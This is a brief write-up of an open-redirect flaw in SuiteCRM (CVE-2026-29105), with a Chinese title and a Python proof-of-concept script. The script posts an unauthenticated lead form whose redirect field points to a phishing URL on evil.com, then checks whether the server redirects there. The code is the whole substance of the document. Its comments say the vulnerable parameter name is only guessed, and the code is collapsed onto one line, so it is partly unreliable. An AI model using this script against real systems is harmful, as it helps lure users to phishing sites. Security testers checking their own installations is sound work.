CVE-2026-29105 SuiteCRM开放重定向漏洞

import requests def check_vulnerability(target_url, malicious_url): """ Proof of Concept for CVE-2026-29105 Tests for open redirect in WebToLead functionality. """ # The endpoint might vary, typically entryPoint=WebToLeadCapture endpoint = f"{target_url}/index.php?entryPoint=WebToLeadCapture" # Payload data simulating the vulnerable POST parameter # Note: The actual parameter name depends on the specific implementation, # commonly 'redirect_url', 'return', or 'goto'. data = { "first_name": "Test", "last_name": "User", "email": "[email protected]", "redirect_url": malicious_url # The vulnerable parameter } try: # Sending POST request without authentication response = requests.post(endpoint, data=data, allow_redirects=False, timeout=5) # Check if the response indicates a redirect (HTTP 302/301) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if malicious_url in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/suitecrm" # Replace with actual target evil_site = "http://evil.com/phishing" check_vulnerability(target, evil_site)